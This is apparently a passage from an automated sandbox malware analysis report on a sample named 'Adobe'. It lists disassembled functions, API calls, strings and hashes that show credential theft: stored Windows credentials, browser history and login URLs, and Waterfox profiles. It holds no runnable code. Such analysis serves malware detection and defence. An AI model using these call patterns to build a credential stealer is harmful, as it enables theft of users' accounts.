                                                                                                                                • Part of subcall function 0040DD85: _wcsicmp.MSVCRT ref: 0040DEB2
                                                                                                                                • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT(00000001,00000001,00401E7F), ref: 0040AFD8
                                                                                                                              • OpenProcess.KERNEL32(00000040,00000000,00000000,00000104,?,00000000,00000104,?,00000000,00000104,00000000), ref: 0040E093
                                                                                                                              • GetCurrentProcess.KERNEL32(?,80000000,00000000,00000000), ref: 0040E0B2
                                                                                                                              • DuplicateHandle.KERNELBASE(?,00000104,00000000), ref: 0040E0BF
                                                                                                                              • GetFileSize.KERNEL32(?,00000000), ref: 0040E0D4
                                                                                                                                • Part of subcall function 00409A45: GetTempPathW.KERNEL32(00000104,?,00445FAE), ref: 00409A5C
                                                                                                                                • Part of subcall function 00409A45: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409A6E
                                                                                                                                • Part of subcall function 00409A45: GetTempFileNameW.KERNELBASE(?,0040B827,00000000,?), ref: 00409A85
                                                                                                                                • Part of subcall function 004096DC: CreateFileW.KERNELBASE(00000001,40000000,00000001,00000000,00000002,00000000,00000000,0040E0F1,00000104), ref: 004096EE
                                                                                                                              • CreateFileMappingW.KERNELBASE(?,00000000,00000002,00000000,00000000,00000000), ref: 0040E0FE
                                                                                                                              • MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000104), ref: 0040E113
                                                                                                                              • WriteFile.KERNELBASE(00000000,00000000,00000104,0040E6A3,00000000), ref: 0040E12E
                                                                                                                              • UnmapViewOfFile.KERNEL32(00000000), ref: 0040E135
                                                                                                                              • CloseHandle.KERNELBASE(?), ref: 0040E13E
                                                                                                                              • CloseHandle.KERNEL32(00000000), ref: 0040E143
                                                                                                                              • CloseHandle.KERNEL32(?), ref: 0040E148
                                                                                                                              • CloseHandle.KERNEL32(?), ref: 0040E14D
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: File$Handle$Close$CreateProcess$CurrentTempView$??2@DirectoryDuplicateInformationMappingNameOpenPathQuerySizeSystemUnmapWindowsWrite_wcsicmpmemset
                                                                                                                              • String ID: bhv
                                                                                                                              • API String ID: 4234240956-2689659898
                                                                                                                              • Opcode ID: c96677cf1f2b88af9f6f98c954d74ea01aac065ab95576d822b7ccb478d5ef78
                                                                                                                              • Instruction ID: 69536691d8562172d0558c987aea6dfe4ed17d6a9a6de0cf2c6621a9a97a0e87
                                                                                                                              • Opcode Fuzzy Hash: c96677cf1f2b88af9f6f98c954d74ea01aac065ab95576d822b7ccb478d5ef78
                                                                                                                              • Instruction Fuzzy Hash: 15412775800218FBCF119FA6CC489DFBFB9FF09750F148466F504A6250D7748A50CBA8
                                                                                                                              Function 00413F4F Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 29libraryloaderCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 691 413f4f-413f52 692 413fa5 691->692 693 413f54-413f5a call 40a804 691->693 695 413f5f-413fa4 GetProcAddress * 5 693->695 695->692
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                                                                • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                                • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                                                                • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                                                              • GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00413F6F
                                                                                                                              • GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 00413F7B
                                                                                                                              • GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00413F87
                                                                                                                              • GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00413F93
                                                                                                                              • GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00413F9F
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressProc$LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                                                                                                                              • String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
                                                                                                                              • API String ID: 2941347001-70141382
                                                                                                                              • Opcode ID: 39c22376907c33733211e363db3c4349312dc982ad78c4cc463d34b505bb12c7
                                                                                                                              • Instruction ID: 7b3d606b7d389a8205b465373562f67d85acf78e859b2fe1c5436fc88fb80995
                                                                                                                              • Opcode Fuzzy Hash: 39c22376907c33733211e363db3c4349312dc982ad78c4cc463d34b505bb12c7
                                                                                                                              • Instruction Fuzzy Hash: BBF03470840340AECB706F769809E06BEF0EFD8B097318C2EE6C557291E3BD9098DE48
                                                                                                                              Function 004466F4 Relevance: 18.1, APIs: 12, Instructions: 134COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 696 4466f4-44670e call 446904 GetModuleHandleA 699 446710-44671b 696->699 700 44672f-446732 696->700 699->700 702 44671d-446726 699->702 701 44675b-4467aa __set_app_type __p__fmode __p__commode call 4153f2 700->701 711 4467ac-4467b7 __setusermatherr 701->711 712 4467b8-44680e call 4468f0 _initterm __wgetmainargs _initterm 701->712 704 446747-44674b 702->704 705 446728-44672d 702->705 704->700 706 44674d-44674f 704->706 705->700 708 446734-44673b 705->708 710 446755-446758 706->710 708->700 709 44673d-446745 708->709 709->710 710->701 711->712 715 446810-446819 712->715 716 44681e-446825 712->716 717 4468d8-4468dd call 44693d 715->717 718 446827-446832 716->718 719 44686c-446870 716->719 723 446834-446838 718->723 724 44683a-44683e 718->724 721 446845-44684b 719->721 722 446872-446877 719->722 727 446853-446864 GetStartupInfoW 721->727 728 44684d-446851 721->728 722->719 723->718 723->724 724->721 726 446840-446842 724->726 726->721 729 446866-44686a 727->729 730 446879-44687b 727->730 728->726 728->727 731 44687c-446894 GetModuleHandleA call 41276d 729->731 730->731 734 446896-446897 exit 731->734 735 44689d-4468d6 _cexit 731->735 734->735 735->717
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: HandleModule_initterm$InfoStartup__p__commode__p__fmode__set_app_type__setusermatherr__wgetmainargs_cexitexit
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2827331108-0
                                                                                                                              • Opcode ID: 7ba7b2652c13871cd0d5cae79e0f4a701fe2602556b2c3d333f15f3a91922bbb
                                                                                                                              • Instruction ID: 0e3254bf032efe29fc581ce6ca9889a5a3d5d0d8e47fd2ea34fa35870f4f4cb9
                                                                                                                              • Opcode Fuzzy Hash: 7ba7b2652c13871cd0d5cae79e0f4a701fe2602556b2c3d333f15f3a91922bbb
                                                                                                                              • Instruction Fuzzy Hash: 9D51C474C41314DFEB21AF65D8499AD7BB0FB0A715F21452BE82197291D7788C82CF1E
                                                                                                                              Function 0040C274 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 112COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              APIs
                                                                                                                              • memset.MSVCRT ref: 0040C298
                                                                                                                                • Part of subcall function 0040E5ED: memset.MSVCRT ref: 0040E60F
                                                                                                                                • Part of subcall function 0040E5ED: memset.MSVCRT ref: 0040E629
                                                                                                                                • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT(00000001,00000001,00401E7F), ref: 0040AFD8
                                                                                                                              • FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 0040C30D
                                                                                                                              • wcschr.MSVCRT ref: 0040C324
                                                                                                                              • wcschr.MSVCRT ref: 0040C344
                                                                                                                              • FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C369
                                                                                                                              • GetLastError.KERNEL32 ref: 0040C373
                                                                                                                              • FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C39F
                                                                                                                              • FindCloseUrlCache.WININET(?), ref: 0040C3B0
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CacheFind$Entrymemset$Nextwcschr$??2@CloseErrorFirstLast
                                                                                                                              • String ID: visited:
                                                                                                                              • API String ID: 1157525455-1702587658
                                                                                                                              • Opcode ID: e6e827466474dba504c602eadc9ccabadb05f86476a5423d269347cfbfdac146
                                                                                                                              • Instruction ID: 6629d855392f08d41decd2a192e4b6579142cf3eaa95f33c860a05aa0b18639b
                                                                                                                              • Opcode Fuzzy Hash: e6e827466474dba504c602eadc9ccabadb05f86476a5423d269347cfbfdac146
                                                                                                                              • Instruction Fuzzy Hash: DA417F71D00219ABDB10EF92DC85AEFBBB8FF45714F10416AE904F7281D7389A45CBA9
                                                                                                                              Function 0040E175 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 91COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 762 40e175-40e1a1 call 40695d call 406b90 767 40e1a7-40e1e5 memset 762->767 768 40e299-40e2a8 call 4069a3 762->768 770 40e1e8-40e1fa call 406e8f 767->770 774 40e270-40e27d call 406b53 770->774 775 40e1fc-40e219 call 40dd50 * 2 770->775 774->770 780 40e283-40e286 774->780 775->774 786 40e21b-40e21d 775->786 783 40e291-40e294 call 40aa04 780->783 784 40e288-40e290 free 780->784 783->768 784->783 786->774 787 40e21f-40e235 call 40742e 786->787 787->774 790 40e237-40e242 call 40aae3 787->790 790->774 793 40e244-40e26b _snwprintf call 40a8d0 790->793 793->774
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00406B90: _wcsicmp.MSVCRT ref: 00406BC1
                                                                                                                              • memset.MSVCRT ref: 0040E1BD
                                                                                                                                • Part of subcall function 00406E8F: memset.MSVCRT ref: 00406F8B
                                                                                                                              • free.MSVCRT ref: 0040E28B
                                                                                                                                • Part of subcall function 0040DD50: _wcsicmp.MSVCRT ref: 0040DD69
                                                                                                                                • Part of subcall function 0040AAE3: wcslen.MSVCRT ref: 0040AAF2
                                                                                                                                • Part of subcall function 0040AAE3: _memicmp.MSVCRT ref: 0040AB20
                                                                                                                              • _snwprintf.MSVCRT ref: 0040E257
                                                                                                                                • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                                                                                                                                • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A908
                                                                                                                                • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A92B
                                                                                                                                • Part of subcall function 0040A8D0: memcpy.MSVCRT(?,?,000000FF,00000000,?,?,00000000,?,0040320A,00000000,000000FF), ref: 0040A94F
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: free$_wcsicmpmemsetwcslen$_memicmp_snwprintfmemcpy
                                                                                                                              • String ID: $ContainerId$Container_%I64d$Containers$Name
                                                                                                                              • API String ID: 2804212203-2982631422
                                                                                                                              • Opcode ID: b10a6b133fecd4ba1fe00162e0f0d1ba32908353d1defd03a55daed51eef6c1a
                                                                                                                              • Instruction ID: de93d03617a61f3aa6bbe184beafcfad76b4f566d35596b706efacabd7485ccb
                                                                                                                              • Opcode Fuzzy Hash: b10a6b133fecd4ba1fe00162e0f0d1ba32908353d1defd03a55daed51eef6c1a
                                                                                                                              • Instruction Fuzzy Hash: 74318272D002196ADF10EFA6DC45ADEB7B8AF04344F1105BFE508B3191DB38AE598F99
                                                                                                                              Function 0040BB98 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 145COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0040CC26: GetFileSize.KERNEL32(00000000,00000000,000003FF,?,00000000,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE,?), ref: 0040CC44
                                                                                                                                • Part of subcall function 0040CC26: CloseHandle.KERNELBASE(?,?,000000FF,0000FDE9), ref: 0040CC98
                                                                                                                                • Part of subcall function 0040CCF0: _wcsicmp.MSVCRT ref: 0040CD2A
                                                                                                                              • memset.MSVCRT ref: 0040BC75
                                                                                                                              • memset.MSVCRT ref: 0040BC8C
                                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,0044E518,000000FF,?,00000FFF,00000000,00000000,?,?,?,0040B7D4,?,?), ref: 0040BCA8
                                                                                                                              • memcmp.MSVCRT(?,00000000,00000005,?,?,?,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE), ref: 0040BCD6
                                                                                                                              • memcpy.MSVCRT(00000024,?,00000020,?,00000000,00000000,?,?,?,?,?,?,?,0040B7D4), ref: 0040BD2B
                                                                                                                              • LocalFree.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,0040B7D4), ref: 0040BD3D
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memset$ByteCharCloseFileFreeHandleLocalMultiSizeWide_wcsicmpmemcmpmemcpy
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 115830560-3916222277
                                                                                                                              • Opcode ID: 2c6b40c8534ef55c53201c5afea9c0c191c5eda6ef18d79290db5ec64fa84378
                                                                                                                              • Instruction ID: 00a8249a540342db609c93f8c1f67c79963b4134db5221072d0e6ece1bb2d715
                                                                                                                              • Opcode Fuzzy Hash: 2c6b40c8534ef55c53201c5afea9c0c191c5eda6ef18d79290db5ec64fa84378
                                                                                                                              • Instruction Fuzzy Hash: 3F41B372900219ABDB10ABA5CC85ADEB7ACEF04314F01057BB509F7292D7789E45CA99
                                                                                                                              Function 0041837F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 140fileCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 847 41837f-4183bf 848 4183c1-4183cc call 418197 847->848 849 4183dc-4183ec call 418160 847->849 854 4183d2-4183d8 848->854 855 418517-41851d 848->855 856 4183f6-41840b 849->856 857 4183ee-4183f1 849->857 854->849 858 418417-418423 856->858 859 41840d-418415 856->859 857->855 860 418427-418442 call 41739b 858->860 859->860 863 418444-41845d CreateFileW 860->863 864 41845f-418475 CreateFileA 860->864 865 418477-41847c 863->865 864->865 866 4184c2-4184c7 865->866 867 41847e-418495 GetLastError free 865->867 870 4184d5-418501 memset call 418758 866->870 871 4184c9-4184d3 866->871 868 4184b5-4184c0 call 444706 867->868 869 418497-4184b3 call 41837f 867->869 868->855 869->855 877 418506-418515 free 870->877 871->870 877->855
                                                                                                                              APIs
                                                                                                                              • CreateFileW.KERNELBASE(?,-7FBE829D,00000003,00000000,?,?,00000000), ref: 00418457
                                                                                                                              • CreateFileA.KERNEL32(?,-7FBE829D,00000003,00000000,|A,00417CE3,00000000), ref: 0041846F
                                                                                                                              • GetLastError.KERNEL32 ref: 0041847E
                                                                                                                              • free.MSVCRT ref: 0041848B
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CreateFile$ErrorLastfree
                                                                                                                              • String ID: |A
                                                                                                                              • API String ID: 77810686-1717621600
                                                                                                                              • Opcode ID: b73738cfafb11dafaf653c45b8d30767a4f0487cb759c2014a2d8a4f30590433
                                                                                                                              • Instruction ID: 73005d91fce95ddd83c4435d1527c7398ec28b7193468e33704956b81d718a95
                                                                                                                              • Opcode Fuzzy Hash: b73738cfafb11dafaf653c45b8d30767a4f0487cb759c2014a2d8a4f30590433
                                                                                                                              • Instruction Fuzzy Hash: 50412472508306AFD710CF25DC4179BBBE5FF84328F14492EF8A492290EB78D9448B96
                                                                                                                              Function 00412465 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88windowCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              APIs
                                                                                                                              • memset.MSVCRT ref: 0041249C
                                                                                                                              • ??2@YAPAXI@Z.MSVCRT(00002A88), ref: 004124D2
                                                                                                                              • ??2@YAPAXI@Z.MSVCRT(00000350), ref: 00412510
                                                                                                                              • GetModuleHandleW.KERNEL32(00000000,0000000E), ref: 00412582
                                                                                                                              • LoadIconW.USER32(00000000,00000065), ref: 0041258B
                                                                                                                              • wcscpy.MSVCRT ref: 004125A0
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ??2@$HandleIconLoadModulememsetwcscpy
                                                                                                                              • String ID: r!A
                                                                                                                              • API String ID: 2791114272-628097481
                                                                                                                              • Opcode ID: c8dffcb2de6473715ddac6d72e3c76979a49d8854762dd44dbb162fd21f04a95
                                                                                                                              • Instruction ID: f2e108ad35b37ee9f58e8ef6409d1766b43f0b07df47584fb449e80907097569
                                                                                                                              • Opcode Fuzzy Hash: c8dffcb2de6473715ddac6d72e3c76979a49d8854762dd44dbb162fd21f04a95
                                                                                                                              • Instruction Fuzzy Hash: 0431A1B19013889FEB30EF669C896CAB7E8FF44314F00852FE90CCB241DBB946548B49
                                                                                                                              Function 0040C768 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 87COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0040B1AB: free.MSVCRT ref: 0040B1AE
                                                                                                                                • Part of subcall function 0040B1AB: free.MSVCRT ref: 0040B1B6
                                                                                                                                • Part of subcall function 0040AA04: free.MSVCRT ref: 0040AA0B
                                                                                                                                • Part of subcall function 0040C274: memset.MSVCRT ref: 0040C298
                                                                                                                                • Part of subcall function 0040C274: FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 0040C30D
                                                                                                                                • Part of subcall function 0040C274: wcschr.MSVCRT ref: 0040C324
                                                                                                                                • Part of subcall function 0040C274: wcschr.MSVCRT ref: 0040C344
                                                                                                                                • Part of subcall function 0040C274: FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C369
                                                                                                                                • Part of subcall function 0040C274: GetLastError.KERNEL32 ref: 0040C373
                                                                                                                                • Part of subcall function 0040C3C3: memset.MSVCRT ref: 0040C439
                                                                                                                                • Part of subcall function 0040C3C3: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,?,?,00000000,?), ref: 0040C467
                                                                                                                                • Part of subcall function 0040C3C3: _wcsupr.MSVCRT ref: 0040C481
                                                                                                                                • Part of subcall function 0040C3C3: memset.MSVCRT ref: 0040C4D0
                                                                                                                                • Part of subcall function 0040C3C3: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,000000FF,?,?,?,?,00000000), ref: 0040C4FB
                                                                                                                              • _wcslwr.MSVCRT ref: 0040C817
                                                                                                                                • Part of subcall function 0040C634: wcslen.MSVCRT ref: 0040C65F
                                                                                                                                • Part of subcall function 0040C634: memset.MSVCRT ref: 0040C6BF
                                                                                                                              • wcslen.MSVCRT ref: 0040C82C
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memset$free$CacheEntryEnumFindValuewcschrwcslen$ErrorFirstLastNext_wcslwr_wcsupr
                                                                                                                              • String ID: /$/$http://www.facebook.com/$https://login.yahoo.com/config/login$https://www.google.com/accounts/servicelogin
                                                                                                                              • API String ID: 2936932814-4196376884
                                                                                                                              • Opcode ID: 2e55d37c3c93c49036042ab263f5962c07f69a8f438a79de627d7f97dd271f33
                                                                                                                              • Instruction ID: 5b72bd72183a146cc5fb8da473a5bce975bbff0c760a192580a28ed18ba85502
                                                                                                                              • Opcode Fuzzy Hash: 2e55d37c3c93c49036042ab263f5962c07f69a8f438a79de627d7f97dd271f33
                                                                                                                              • Instruction Fuzzy Hash: 42218272A00244A6CF10BB6A9C8589E7B68EF44744B10457BB804B7293D67CDE85DB9D
                                                                                                                              Function 0040B58D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetModuleHandleW.KERNEL32(00000000,00000000,?,?), ref: 0040B5A5
                                                                                                                              • FindResourceW.KERNELBASE(00000000,00000032,BIN), ref: 0040B5B6
                                                                                                                              • LoadResource.KERNEL32(00000000,00000000), ref: 0040B5C4
                                                                                                                              • SizeofResource.KERNEL32(?,00000000), ref: 0040B5D4
                                                                                                                              • LockResource.KERNEL32(00000000), ref: 0040B5DD
                                                                                                                              • memcpy.MSVCRT(00000000,00000000,00000000), ref: 0040B60D
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Resource$FindHandleLoadLockModuleSizeofmemcpy
                                                                                                                              • String ID: BIN
                                                                                                                              • API String ID: 1668488027-1015027815
                                                                                                                              • Opcode ID: 6cadd12acd146c90b5568bc01b4485451bf9b169e768bef5838699a2d497f07b
                                                                                                                              • Instruction ID: e905eb6dc449d61379ecdc49350c1a2f8866219970738eecada31b95dd052af9
                                                                                                                              • Opcode Fuzzy Hash: 6cadd12acd146c90b5568bc01b4485451bf9b169e768bef5838699a2d497f07b
                                                                                                                              • Instruction Fuzzy Hash: 5E11C636C00225BBD7116BE2DC09AAFBA78FF85755F010476F81072292DB794D018BED
                                                                                                                              Function 0040BDB0 Relevance: 12.2, APIs: 8, Instructions: 151COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 00404398
                                                                                                                                • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 004043AC
                                                                                                                                • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 004043BF
                                                                                                                                • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 004043D3
                                                                                                                                • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 004043E7
                                                                                                                              • CredEnumerateW.ADVAPI32(00000000,00000000,?,?,?,00000000,?), ref: 0040BDE9
                                                                                                                              • wcslen.MSVCRT ref: 0040BE06
                                                                                                                              • wcsncmp.MSVCRT ref: 0040BE38
                                                                                                                              • memset.MSVCRT ref: 0040BE91
                                                                                                                              • memcpy.MSVCRT(?,?,?,00000001,?,?,?,00000000,?), ref: 0040BEB2
                                                                                                                              • _wcsnicmp.MSVCRT ref: 0040BEFC
                                                                                                                              • wcschr.MSVCRT ref: 0040BF24
                                                                                                                              • LocalFree.KERNEL32(?,?,?,?,00000001,?,?,?,00000000,?), ref: 0040BF48
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressProc$CredEnumerateFreeLocal_wcsnicmpmemcpymemsetwcschrwcslenwcsncmp
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 697348961-0
                                                                                                                              • Opcode ID: 4320d3521706fdf8c6ed48fb05be967b0956d3d4dbd01890db6896aba47bd834
                                                                                                                              • Instruction ID: 79a9ca8399314c5bcb3e205da5602351372edcdcc58f79068602210d8f55f42f
                                                                                                                              • Opcode Fuzzy Hash: 4320d3521706fdf8c6ed48fb05be967b0956d3d4dbd01890db6896aba47bd834
                                                                                                                              • Instruction Fuzzy Hash: 1851E9B5D002099FCF20DFA5C8859AEBBF9FF48304F10452AE919F7251E734A9458F69
                                                                                                                              Function 00403C9C Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • memset.MSVCRT ref: 00403CBF
                                                                                                                              • memset.MSVCRT ref: 00403CD4
                                                                                                                              • memset.MSVCRT ref: 00403CE9
                                                                                                                              • memset.MSVCRT ref: 00403CFE
                                                                                                                              • memset.MSVCRT ref: 00403D13
                                                                                                                                • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                                                                • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                                • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                                                                • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                                                                                                                                • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                                                                                                                                • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                                                                                                                                • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                                                                                                                                • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                                                                                                                                • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                                                                                                                                • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                                                                                                                              • memset.MSVCRT ref: 00403DDA
                                                                                                                                • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                                                                • Part of subcall function 004099C6: memcpy.MSVCRT(?,?,00000104,?,0040BAA5,00445FAE), ref: 004099E3
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memset$wcscpy$wcslen$Close_snwprintfmemcpywcscat
                                                                                                                              • String ID: Waterfox$Waterfox\Profiles
                                                                                                                              • API String ID: 3527940856-11920434
                                                                                                                              • Opcode ID: fa7a89f4834ef8b5b40aee994800d4865c67d250ea9d7d7a0362dcd02f226988
                                                                                                                              • Instruction ID: d72014143a293005b417e5222852f61d3cfc405123c5957a7e6d01a12b636873
                                                                                                                              • Opcode Fuzzy Hash: fa7a89f4834ef8b5b40aee994800d4865c67d250ea9d7d7a0362dcd02f226988
                                                                                                                              • Instruction Fuzzy Hash: 1E4133B294012C7ADB20EB56DC85ECF777CEF85314F1180ABB509B2181DA745B948FAA
                                                                                                                              Function 00403E2D Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
